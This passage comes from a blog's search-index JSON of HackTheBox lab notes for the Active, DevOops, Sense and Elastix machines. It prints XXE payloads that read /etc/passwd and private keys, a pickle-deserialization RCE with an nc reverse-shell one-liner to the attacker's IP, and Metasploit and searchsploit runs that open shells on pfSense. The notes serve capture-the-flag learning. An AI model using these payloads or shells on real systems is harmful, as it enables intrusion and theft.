class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/NETLOGON\tMapping: DENIED, Listing: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/Replication\tMapping: OK, Listing: OK\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/SYSVOL\tMapping: DENIED, Listing: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUse of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e//10.10.10.100/Users\tMapping: DENIED, Listing: N/A\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eLet\u0026rsquo;s see what files are inside\u003c/p\u003e","title":"HackTheBox: Active Notes"},{"content":"Nmap\n# nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap Nmap scan report for 10.10.10.91 Host is up (0.90s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA) | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA) |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519) 5000/tcp open http Gunicorn 19.7.1 |_http-server-header: gunicorn/19.7.1 |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Tried brute-forcing SSH with hydra using Kali\u0026rsquo;s built-in fasttrack wordlist — no luck\n# hydra -l root -P /usr/share/wordlists/fasttrack.txt ssh://10.10.10.91 [STATUS] 112.50 tries/min, 225 tries in 00:02h, 1 to do in 00:01h, 16 active 1 of 1 target completed, 0 valid passwords found Port 5000: XXE Scanned directories with dirb\ni\nFound an upload endpoint that prompts for an XML upload, with the XML node types already known\n\u0026lt;!--?xml version=\u0026#34;1.0\u0026#34; ?--\u0026gt; \u0026lt;!DOCTYPE replace [\u0026lt;!ENTITY ent SYSTEM \u0026#34;http://10.10.14.6:8888\u0026#34;\u0026gt; ]\u0026gt; \u0026lt;userInfo\u0026gt; \u0026lt;firstName\u0026gt;John\u0026lt;/firstName\u0026gt; \u0026lt;lastName\u0026gt;\u0026amp;ent;\u0026lt;/lastName\u0026gt; \u0026lt;/userInfo\u0026gt; Uploaded the payload above and confirmed XXE at this point\nHowever, this only shows an out-of-band XXE is possible; we still need to check whether we can get a response echo, so construct\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;file:////etc/passwd \u0026#34; \u0026gt; ]\u0026gt; \u0026lt;foo\u0026gt; \u0026lt;Author\u0026gt;Gerh\u0026lt;/Author\u0026gt; \u0026lt;Subject\u0026gt;BinaryChaos\u0026lt;/Subject\u0026gt; \u0026lt;Content\u0026gt;\u0026amp;xxe;\u0026lt;/Content\u0026gt; \u0026lt;/foo\u0026gt; Read user.txt and tried to read sensitive files; got .bash_history and a private key\nLogged into SSH with the key\nssh -i id_rsa roosa@10.10.10.91 Got the first shell\nPrivilege Escalation For privilege escalation, just use the information leak: find the root user\u0026rsquo;s private key in the git history and escalate to root\nRetrospective Go back and look at the Flask source code\n## read /home/roosa/deploy/src/feed.py HTTP/1.1 200 OK Server: gunicorn/19.7.1 Date: Sat, 06 Jun 2020 08:47:55 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 1061 PROCESSED BLOGPOST: Author: Gerh Subject: BinaryChaos Content: \u0026#39;) def uploaded_file(filename): return send_from_directory(Config.UPLOAD_FOLDER, filename) @app.route(\u0026#34;/\u0026#34;) def xss(): return template(\u0026#39;index.html\u0026#39;) @app.route(\u0026#34;/feed\u0026#34;) def fakefeed(): return send_from_directory(\u0026#34;.\u0026#34;,\u0026#34;devsolita-snapshot.png\u0026#34;) @app.route(\u0026#34;/newpost\u0026#34;, methods=[\u0026#34;POST\u0026#34;]) def newpost(): # TODO: proper save to database, this is for testing purposes right now picklestr = base64.urlsafe_b64decode(request.data) # return picklestr postObj = pickle.loads(picklestr) return \u0026#34;POST RECEIVED: \u0026#34; + postObj[\u0026#39;Subject\u0026#39;] ## TODO: VERY important! DISABLED THIS IN PRODUCTION #app = DebuggedApplication(app, evalex=True, console_path=\u0026#39;/debugconsole\u0026#39;) # TODO: Replace run-gunicorn.sh with real Linux service script # app = DebuggedApplication(app, evalex=True, console_path=\u0026#39;/debugconsole\u0026#39;) if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#39;0.0.0,0\u0026#39;, Debug=True) URL for later reference: /uploads/xxe.xml File path: /home/roosa/deploy/src Found a pickle deserialization point with no filtering whatsoever (base64.urlsafe_b64decode doesn\u0026rsquo;t count as filtering)\npickle Deserialization Directly use the reduce method that gets called automatically during Python deserialization, constructing malicious arguments to achieve RCE\nAt first I used python3\u0026rsquo;s pickle.dumps(), which produced lots of invisible characters\nLater, after checking walkthroughs, I found that python2 works — presumably because python3 removed cpickle.\nTried bash -i and nc -e reverse shells; both failed\nFinally used the code below to get a reverse shell\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.16.122 1337 \u0026gt;/tmp/f Midway through, I also set a Content-Type, which caused Flask to not receive the parameters — thought the RCE had failed\u0026hellip;\nref https://hackingprofessional.github.io/HTB/How-to-hack-a-website-with-XML-External-Entity-Injection/ dumping-git-data-from-misconfigured-web-servers/ https://0xdf.gitlab.io/2018/10/13/htb-devoops.html#pickle-exploit-for-user-shell https://zhuanlan.zhihu.com/p/89132768 ","permalink":"https://www.unc.la/en/posts/penetration/wkoum5/","summary":"\u003cp\u003eNmap\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# nmap -p- -sV -sC 10.10.10.91 -oA scans/nmap\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNmap scan report for 10.10.10.91\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHost is up (0.90s latency).\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNot shown: 998 closed ports\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePORT     STATE SERVICE VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| ssh-hostkey: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e5000/tcp open  http    Gunicorn 19.7.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_http-server-header: gunicorn/19.7.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_http-title: Site doesn\u0026#39;t have a title (text/html; charset=utf-8).\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTried brute-forcing SSH with hydra using Kali\u0026rsquo;s built-in fasttrack wordlist — no luck\u003c/p\u003e","title":"HackTheBox: DevOops Notes"},{"content":" It\u0026rsquo;s essential to figure out what CMS the website you\u0026rsquo;re attacking runs, what middleware it uses, and what the target machine\u0026rsquo;s reputation is!\n10.10.10.60\nNmap # nmap -p- -sC -sV 10.10.10.60 nmap scan report for 10.10.10.60 Host is up (0.0058s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 80/tcp open http lighttpd 1.4.35 |_http-server-header: lighttpd/1.4.35 |_http-title: Did not follow redirect to https://10.10.10.60/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/https? |_ssl-date: TLS randomness does not represent time lighttpd 1.4.35 Port 80 redirects to 443, and the web app is on port 443:\ndirb directory scan [~]$ dirb https://10.10.10.60 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri May 29 05:22:42 2020 URL_BASE: https://10.10.10.60/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: https://10.10.10.60/ ---- ==\u0026gt; DIRECTORY: https://10.10.10.60/classes/ ==\u0026gt; DIRECTORY: https://10.10.10.60/css/ + https://10.10.10.60/favicon.ico (CODE:200|SIZE:1406) ==\u0026gt; DIRECTORY: https://10.10.10.60/includes/ + https://10.10.10.60/index.html (CODE:200|SIZE:329) + https://10.10.10.60/index.php (CODE:200|SIZE:6690) ==\u0026gt; DIRECTORY: https://10.10.10.60/installer/ ==\u0026gt; DIRECTORY: https://10.10.10.60/javascript/ ==\u0026gt; DIRECTORY: https://10.10.10.60/themes/ ==\u0026gt; DIRECTORY: https://10.10.10.60/tree/ ==\u0026gt; DIRECTORY: https://10.10.10.60/widgets/ + https://10.10.10.60/xmlrpc.php (CODE:200|SIZE:384) ---- Entering directory: https://10.10.10.60/classes/ ---- ---- Entering directory: https://10.10.10.60/css/ ---- ---- Entering directory: https://10.10.10.60/includes/ ---- ---- Entering directory: https://10.10.10.60/installer/ ---- + https://10.10.10.60/installer/index.php (CODE:302|SIZE:0) ---- Entering directory: https://10.10.10.60/javascript/ ---- ==\u0026gt; DIRECTORY: https://10.10.10.60/javascript/index/ ==\u0026gt; DIRECTORY: https://10.10.10.60/javascript/jquery/ ==\u0026gt; DIRECTORY: https://10.10.10.60/javascript/wizard/ ---- Entering directory: https://10.10.10.60/themes/ ---- ---- Entering directory: https://10.10.10.60/tree/ ---- + (CODE:200|SIZE:7492) ---- Entering directory: https://10.10.10.60/widgets/ ---- ==\u0026gt; DIRECTORY: https://10.10.10.60/widgets/include/ ==\u0026gt; DIRECTORY: https://10.10.10.60/widgets/javascript/ ==\u0026gt; DIRECTORY: https://10.10.10.60/widgets/widgets/ ---- Entering directory: https://10.10.10.60/javascript/index/ ---- ---- Entering directory: https://10.10.10.60/javascript/jquery/ ---- ==\u0026gt; DIRECTORY: https://10.10.10.60/javascript/jquery/images/ ---- Entering directory: https://10.10.10.60/javascript/wizard/ ---- ---- Entering directory: https://10.10.10.60/widgets/include/ ---- ---- Entering directory: https://10.10.10.60/widgets/javascript/ ---- ---- Entering directory: https://10.10.10.60/widgets/widgets/ ---- ---- Entering directory: https://10.10.10.60/javascript/jquery/images/ ---- /xmlrpc.php \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;ISO-8859-1\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ENTITY % pe SYSTEM \u0026#34;http://10.10.14.4:88\u0026#34;\u0026gt; %pe; %param1; ]\u0026gt; \u0026lt;foo\u0026gt;\u0026amp;external;\u0026lt;/foo\u0026gt; Tested it — no XXE issue.\n/tree/index.html Connect to host via SSH: \u0026lt;applet CODEBASE=\u0026#34;.\u0026#34; ARCHIVE=\u0026#34;jta20.jar\u0026#34; CODE=\u0026#34;de.mud.jta.Applet\u0026#34; WIDTH=55 HEIGHT=25\u0026gt; \u0026lt;param NAME=\u0026#34;config\u0026#34; VALUE=\u0026#34;applet.conf\u0026#34;\u0026gt; \u0026lt;/applet\u0026gt; No idea what this means\u0026hellip;\nbreakthrough Scan the directories again with dirbuster, using the biggest wordlist:\n/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Find something juicy — turned up some good stuff:\n# https://10.10.10.60//changelog.txt //contents as follows # Security Changelog ### Issue There was a failure in updating the firewall. Manual patching is therefore required ### Mitigated 2 of 3 vulnerabilities have been patched. ### Timeline The remaining patches will be installed during the next maintenance window # https://10.10.10.60/system-users.txt //contents as follows ####Support ticket### Please create the following user username: Rohit password: company defaults Company default password? Time for some OSINT — off to the search engines:\nLogged right in:\nmsf5 exploit(unix/http/pfsense_graph_injection_exec) \u0026gt; set username rohit username =\u0026gt; rohit msf5 exploit(unix/http/pfsense_graph_injection_exec) \u0026gt; set password pfsense password =\u0026gt; pfsense msf5 exploit(unix/http/pfsense_graph_injection_exec) \u0026gt; set lhost tun0 lhost =\u0026gt; 10.10.16.122 msf5 exploit(unix/http/pfsense_graph_injection_exec) \u0026gt; set rhosts 10.10.10.60 rhosts =\u0026gt; 10.10.10.60 msf5 exploit(unix/http/pfsense_graph_injection_exec) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [*] Detected pfSense 2.1.3-RELEASE, uploading intial payload [*] Payload uploaded successfully, executing [*] Sending stage (38288 bytes) to 10.10.10.60 [*] Meterpreter session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.60:39519) at 2020-05-29 23:26:58 +0800 Or grab a shell with the exploit from searchsploit:\n# python3 43560.py --rhost 10.10.10.60 --lhost 10.10.16.122 --lport 1337 --username rohit --password pfsense Retrospective At first I didn\u0026rsquo;t pin down that this was pfSense at all — still not enough experience, I only paid attention to lighttpd.\nBoth the icon and the body actually left clues\nEnumeration!\nCommon directory-scanning tools are dirbuster + dirb + wfuzz\n","permalink":"https://www.unc.la/en/posts/penetration/ih9ed6/","summary":"\u003cblockquote\u003e\n\u003cp\u003eIt\u0026rsquo;s essential to figure out what CMS the website you\u0026rsquo;re attacking runs, what middleware it uses, and what the target machine\u0026rsquo;s reputation is!\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e10.10.10.60\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1590729425195-edd08efe-80aa-4fc8-8213-6be000a8f0fd.png\"\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1590729534655-00471b96-ee98-450a-96b8-2890c99047c3.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"nmap\"\u003eNmap\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esC\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003esV\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e60\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e60\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eup\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e0058\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eNot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshown\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e65533\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efiltered\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eports\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003eVERSION\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003ehttp\u003c/span\u003e\u003cspan class=\"w\"\u003e       \u003c/span\u003e\u003cspan class=\"n\"\u003elighttpd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e35\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eserver\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elighttpd\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e35\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_http\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efollow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eredirect\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehttps\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"mi\"\u003e60\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_https\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eredirect\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eERROR\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScript\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eexecution\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efailed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edebug\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e443\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"n\"\u003essl\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ehttps\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_ssl\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"nb\"\u003edate\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTLS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erandomness\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edoes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003erepresent\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"lighttpd-1435\"\u003elighttpd 1.4.35\u003c/h1\u003e\n\u003cp\u003ePort 80 redirects to 443, and the web app is on port 443:\u003c/p\u003e","title":"HackTheBox: Sense Notes"},{"content":"elastix msf5 exploit(unix/http/freepbx_callmenum) \u0026gt; show options Module options (exploit/unix/http/freepbx_callmenum): Name Current Setting Required Description ---- --------------- -------- ----------- EXTENSION 230-240 yes A range of Local extension numbers Proxies http:127.0.0.1:8080 no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 